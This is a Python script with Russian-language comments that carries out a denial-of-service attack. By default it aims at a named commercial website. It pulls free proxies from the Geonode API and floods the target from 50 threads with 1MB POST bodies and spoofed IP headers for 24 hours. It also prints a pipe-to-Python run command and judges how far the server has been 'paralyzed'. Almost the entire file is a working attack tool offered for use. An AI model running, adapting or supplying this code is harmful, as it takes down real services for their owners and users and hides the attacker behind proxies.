🔥 DoS Attack NO PRECHECK - Tests Proxies During Attack Only

simple_dos_server_nocheck.py

#!/usr/bin/env python3
"""
🔥 DoS АТАКА БЕЗ ПРЕДВАРИТЕЛЬНОЙ ПРОВЕРКИ ПРОКСИ 🔥
Версия которая сразу начинает атаку и проверяет прокси в процессе

Использование:
python3 simple_dos_server_nocheck.py
python3 simple_dos_server_nocheck.py --target https://example.com --threads 50 --duration 3600
curl -s https://your-server.com/simple_dos_server_nocheck.py | python3
"""

import requests
import threading
import time
import random
import os
import sys
import argparse
from datetime import datetime
from collections import deque
import json

# Автоматическая установка зависимостей
def install_requirements():
    """Автоматически устанавливает необходимые зависимости"""
    try:
        import requests
    except ImportError:
        print("📦 Устанавливаю requests...")
        os.system(f"{sys.executable} -m pip install requests")
        import requests

# --- КОНФИГУРАЦИЯ ПО УМОЛЧАНИЮ ---
DEFAULT_CONFIG = {
    'target_url': "https://bertazzoni.com.ru/bertazzoni/?limit=1000",
    'thread_count': 50,
    'attack_duration': 86400,  # 24 часа
    'log_interval': 5,
    'geonode_api_url': "https://proxylist.geonode.com/api/proxy-list",
    'geonode_params': {
        'limit': 500,
        'page': 1,
        'sort_by': 'lastChecked',
        'sort_type': 'desc',
        'protocols': 'http'  # Только HTTP для простоты
    },
    'max_pages': 5,  # Меньше страниц для быстроты
    'memory_bomb_size': 1000000,  # 1MB для скорости
    'request_timeout': 8,
    'min_uptime': 80,  # Снижен минимальный uptime
    'max_latency': 1000,  # Увеличена максимальная задержка
    'skip_proxy_test': True  # НЕ ТЕСТИРУЕМ ПРОКСИ ЗАРАНЕЕ!
}

# Глобальные переменные
all_proxies = []
working_proxies = []
dead_proxies = set()
proxy_info = {}
current_proxy_index = 0
stats = {
    'total': 0,
    'success': 0,
    'failed': 0,
    'times': deque(maxlen=100),
    'proxy_success': {},
    'proxy_failed': {},
    'server_status': 'Unknown',
    'start_time': None,
    'last_response_time': 0,
    'requests_per_second': 0,
    'avg_response_time': 0,
    'attack_running': False,
    'proxies_tested_during_attack': 0,
    'proxies_found_working': 0
}
lock = threading.Lock()

def log(message, level="INFO"):
    """Простое логирование"""
    timestamp = datetime.now().strftime("%H:%M:%S")
    print(f"[{timestamp}] [{level}] {message}")

def fetch_geonode_proxies():
    """Загружает прокси из Geonode API БЕЗ ПРОВЕРКИ"""
    log("🌐 Загружаю прокси из Geonode API (БЕЗ ПРОВЕРКИ)...")
    all_fetched = []
    
    for page in range(1, DEFAULT_CONFIG['max_pages'] + 1):
        try:
            params = DEFAULT_CONFIG['geonode_params'].copy()
            params['page'] = page
            
            log(f"📥 Загружаю страницу {page}...")
            response = requests.get(DEFAULT_CONFIG['geonode_api_url'], params=params, timeout=10)
            
            if response.status_code == 200:
                data = response.json()
                proxies_data = data.get('data', [])
                
                if not proxies_data:
                    log(f"📄 Страница {page} пустая, останавливаю загрузку")
                    break
                
                page_count = 0
                for proxy_data in proxies_data:
                    # Более мягкая фильтрация
                    uptime = proxy_data.get('upTime', 0)
                    latency = proxy_data.get('latency', 999)
                    
                    if uptime >= DEFAULT_CONFIG['min_uptime'] and latency <= DEFAULT_CONFIG['max_latency']:
                        ip = proxy_data.get('ip')
                        port = proxy_data.get('port')
                        protocols = proxy_data.get('protocols', ['http'])
                        
                        if ip and port and 'http' in protocols:  # Только HTTP
                            proxy_url = f"{ip}:{port}"
                            all_fetched.append(proxy_url)
                            
                            # Сохраняем информацию о прокси
                            proxy_info[proxy_url] = {
                                'uptime': uptime,
                                'latency': latency,
                                'country': proxy_data.get('country', 'Unknown'),
                                'city': proxy_data.get('city', 'Unknown')
                            }
                            page_count += 1
                
                log(f"✅ Страница {page}: получено {page_count} HTTP прокси")
                
            else:
                log(f"❌ Ошибка загрузки страницы {page}: {response.status_code}")
                
        except Exception as e:
            log(f"❌ Ошибка загрузки страницы {page}: {e}", "ERROR")
    
    log(f"🎯 Всего загружено {len(all_fetched)} HTTP прокси из Geonode")
    return all_fetched

def get_next_proxy():
    """Возвращает следующий прокси по ротации"""
    global current_proxy_index
    
    if not all_proxies:
        return None
    
    with lock:
        current_proxy_index = (current_proxy_index + 1) % len(all_proxies)
        return all_proxies[current_proxy_index]

def format_proxy(proxy_url):
    """Форматирует прокси для requests (только HTTP)"""
    if not proxy_url.startswith(('http://', 'https://')):
        proxy_url = 'http://' + proxy_url
    
    return {
        'http': proxy_url,
        'https': proxy_url
    }

def aggressive_attack_with_test(target_url):
    """Агрессивная атака с тестированием прокси в процессе"""
    proxy_url = get_next_proxy()
    if not proxy_url:
        return False
    
    try:
        proxy_dict = format_proxy(proxy_url)
        
        # Агрессивные данные
        attack_data = {
            'memory_payload': 'X' * DEFAULT_CONFIG['memory_bomb_size'],
            'attack_type': 'nocheck_attack',
            'attack_id': str(random.randint(100000, 999999)),
            'timestamp': str(time.time())
        }
        
        # Добавляем параметры для нагрузки
        for i in range(50):
            attack_data[f'param_{i}'] = f'value_{i}_{random.randint(1000,9999)}'
        
        headers = {
            'Content-Type': 'application/x-www-form-urlencoded',
            'User-Agent': f'Mozilla/5.0 (NoCheck-Attack-{random.randint(1000,9999)})',
            'Connection': 'close',
            'Accept': '*/*',
            'Accept-Language': 'en-US,en;q=0.9',
            'Accept-Encoding': 'gzip, deflate',
            'Cache-Control': 'no-cache',
            'X-Forwarded-For': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}',
            'X-Real-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}',
            'X-Originating-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}'
        }
        
        start_time = time.time()
        response = requests.post(
            target_url,
            data=attack_data,
            headers=headers,
            proxies=proxy_dict,
            timeout=DEFAULT_CONFIG['request_timeout'],
            allow_redirects=False,
            verify=False
        )
        response_time = time.time() - start_time
        
        # Прокси работает!
        with lock:
            stats['success'] += 1
            stats['total'] += 1
            stats['times'].append(response_time)
            stats['last_response_time'] = response_time
            stats['proxies_tested_during_attack'] += 1
            
            # Добавляем в рабочие если еще нет
            if proxy_url not in working_proxies:
                working_proxies.append(proxy_url)
                stats['proxies_found_working'] += 1
                info = proxy_info.get(proxy_url, {})
                log(f"✅ Найден рабочий прокси #{len(working_proxies)}: {proxy_url} "
                    f"({response_time:.2f}s, {info.get('uptime', 0):.1f}% uptime, {info.get('country', 'Unknown')})")
            
            if proxy_url not in stats['proxy_success']:
                stats['proxy_success'][proxy_url] = 0
            stats['proxy_success'][proxy_url] += 1
            
            # Определяем статус сервера
            if response_time > 15:
                stats['server_status'] = 'КРИТИЧЕСКИ ПЕРЕГРУЖЕН'
            elif response_time > 10:
                stats['server_status'] = 'СИЛЬНО ПЕРЕГРУЖЕН'
            elif response_time > 5:
                stats['server_status'] = 'ПЕРЕГРУЖЕН'
            elif response_time > 2:
                stats['server_status'] = 'ПОД НАГРУЗКОЙ'
            else:
                stats['server_status'] = 'СТАБИЛЬНЫЙ'
            
        return True
        
    except Exception as e:
        with lock:
            stats['failed'] += 1
            stats['total'] += 1
            stats['proxies_tested_during_attack'] += 1
            
            if proxy_url not in stats['proxy_failed']:
                stats['proxy_failed'][proxy_url] = 0
            stats['proxy_failed'][proxy_url] += 1
            
            dead_proxies.add(proxy_url)
            
        return False

def attack_worker(target_url, duration):
    """Рабочий поток атаки"""
    start_time = time.time()
    
    while stats['attack_running'] and (time.time() - start_time) < duration:
        if not all_proxies:
            log("❌ Нет прокси для атаки, останавливаю поток", "ERROR")
            break
            
        aggressive_attack_with_test(target_url)
        
        # Минимальная задержка для агрессивности
        time.sleep(random.uniform(0.01, 0.05))

def calculate_rps():
    """Вычисляет запросы в секунду"""
    if not stats['start_time']:
        return 0
    
    elapsed = time.time() - stats['start_time']
    if elapsed > 0:
        return stats['total'] / elapsed
    return 0

def get_avg_response_time():
    """Вычисляет среднее время ответа"""
    if stats['times']:
        return sum(stats['times']) / len(stats['times'])
    return 0

def print_stats():
    """Выводит статистику в консоль"""
    if stats['total'] == 0:
        return
    
    success_rate = (stats['success'] / stats['total']) * 100
    rps = calculate_rps()
    avg_time = get_avg_response_time()
    elapsed = time.time() - stats['start_time'] if stats['start_time'] else 0
    
    log("=" * 80)
    log(f"📊 СТАТИСТИКА АТАКИ")
    log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
    log(f"⏰ Время работы: {elapsed:.0f}с")
    log(f"📈 Всего запросов: {stats['total']:,}")
    log(f"✅ Успешных: {stats['success']:,} ({success_rate:.1f}%)")
    log(f"❌ Неудачных: {stats['failed']:,}")
    log(f"🚀 Скорость: {rps:.1f} req/sec")
    log(f"⏱️ Среднее время ответа: {avg_time:.3f}с")
    log(f"🌐 Всего прокси: {len(all_proxies):,}")
    log(f"✅ Найдено рабочих: {len(working_proxies):,}")
    log(f"💀 Мертвых прокси: {len(dead_proxies):,}")
    log(f"🔍 Протестировано в процессе: {stats['proxies_tested_during_attack']:,}")
    log(f"🔥 Статус сервера: {stats['server_status']}")
    log("=" * 80)

def stats_monitor(log_interval):
    """Мониторинг статистики в отдельном потоке"""
    while stats['attack_running']:
        time.sleep(log_interval)
        if stats['attack_running']:
            print_stats()

def parse_arguments():
    """Парсит аргументы командной строки"""
    parser = argparse.ArgumentParser(description='🔥 DoS атака БЕЗ предварительной проверки прокси')
    parser.add_argument('--target', '-t', default=DEFAULT_CONFIG['target_url'], 
                       help='URL цели для атаки')
    parser.add_argument('--threads', '-th', type=int, default=DEFAULT_CONFIG['thread_count'],
                       help='Количество потоков')
    parser.add_argument('--duration', '-d', type=int, default=DEFAULT_CONFIG['attack_duration'],
                       help='Длительность атаки в секундах')
    parser.add_argument('--log-interval', '-l', type=int, default=DEFAULT_CONFIG['log_interval'],
                       help='Интервал вывода статистики в секундах')
    parser.add_argument('--silent', '-s', action='store_true',
                       help='Тихий режим (минимум логов)')
    
    return parser.parse_args()

def main():
    """Основная функция"""
    global stats, all_proxies
    
    # Устанавливаем зависимости
    install_requirements()
    
    # Парсим аргументы
    args = parse_arguments()
    
    # Обновляем конфигурацию
    DEFAULT_CONFIG['target_url'] = args.target
    DEFAULT_CONFIG['thread_count'] = args.threads
    DEFAULT_CONFIG['attack_duration'] = args.duration
    DEFAULT_CONFIG['log_interval'] = args.log_interval
    
    if not args.silent:
        log("🔥🔥🔥 ЗАПУСК DoS АТАКИ БЕЗ ПРОВЕРКИ ПРОКСИ 🔥🔥🔥")
        log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
        log(f"🧵 Потоков: {DEFAULT_CONFIG['thread_count']}")
        log(f"⏰ Длительность: {DEFAULT_CONFIG['attack_duration']} секунд")
        log("🚀 Режим: БЕЗ предварительной проверки прокси")
        log("🔍 Прокси проверяются ТОЛЬКО во время атаки")
    
    # Загружаем прокси БЕЗ ПРОВЕРКИ
    all_proxies = fetch_geonode_proxies()
    
    if not all_proxies:
        log("❌ Не удалось загрузить прокси из Geonode API. Завершение работы.", "ERROR")
        return 1
    
    if not args.silent:
        log(f"🎯 Загружено {len(all_proxies):,} прокси")
        log("🚀 Начинаю атаку СРАЗУ (прокси проверяются в процессе)...")
    
    stats['start_time'] = time.time()
    stats['attack_running'] = True
    
    # Запускаем атакующие потоки
    threads = []
    for i in range(DEFAULT_CONFIG['thread_count']):
        thread = threading.Thread(
            target=attack_worker, 
            args=(DEFAULT_CONFIG['target_url'], DEFAULT_CONFIG['attack_duration'])
        )
        thread.daemon = True
        threads.append(thread)
        thread.start()
    
    # Запускаем мониторинг статистики
    if not args.silent:
        stats_thread = threading.Thread(
            target=stats_monitor, 
            args=(DEFAULT_CONFIG['log_interval'],)
        )
        stats_thread.daemon = True
        stats_thread.start()
    
    # Ждем завершения атаки
    try:
        start_time = time.time()
        while stats['attack_running'] and (time.time() - start_time) < DEFAULT_CONFIG['attack_duration']:
            time.sleep(1)
            
        stats['attack_running'] = False
        
        if not args.silent:
            log("🔥 АТАКА ЗАВЕРШЕНА 🔥")
            print_stats()
            
            # Финальная оценка
            avg_time = get_avg_response_time()
            if avg_time > 15.0:
                log("🔥🔥🔥🔥 СЕРВЕР ПОЛНОСТЬЮ ПАРАЛИЗОВАН! 🔥🔥🔥🔥")
            elif avg_time > 10.0:
                log("🔥🔥🔥 СЕРВЕР КРИТИЧЕСКИ ПЕРЕГРУЖЕН! 🔥🔥🔥")
            elif avg_time > 5.0:
                log("🔥🔥 СЕРВЕР СИЛЬНО ЗАМЕДЛИЛСЯ! 🔥🔥")
            elif avg_time > 2.0:
                log("🔥 Сервер под серьезной нагрузкой! 🔥")
            else:
                log("⚠️ Сервер устоял против атаки")
        
        return 0
        
    except KeyboardInterrupt:
        stats['attack_running'] = False
        if not args.silent:
            log("🛑 АТАКА ОСТАНОВЛЕНА ПОЛЬЗОВАТЕЛЕМ")
        return 0

if __name__ == "__main__":
    sys.exit(main())